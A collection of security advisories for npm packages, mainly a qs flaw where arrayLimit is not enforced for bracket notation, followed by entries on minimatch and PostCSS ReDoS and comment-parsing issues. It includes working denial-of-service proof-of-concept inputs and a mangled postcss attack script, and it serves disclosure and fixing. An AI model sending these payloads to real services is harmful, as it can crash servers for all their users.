Version Details and Security Vulnerabilities

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}

Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}

The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:

npm install qs

const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)

Test 2 - DoS demonstration:

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Configuration:

• arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
• Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

1. Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
2. Application parses with qs.parse(query, { arrayLimit: 100 })
3. qs ignores limit, parses all 100,000 elements into array
4. Server memory exhausted → application crashes or becomes unresponsive
5. Service unavailable for all users

Real-world impact:

• Single malicious request can crash server
• No authentication required
• Easy to automate and scale
• Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}

Fixed code:

if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}

This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.

The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.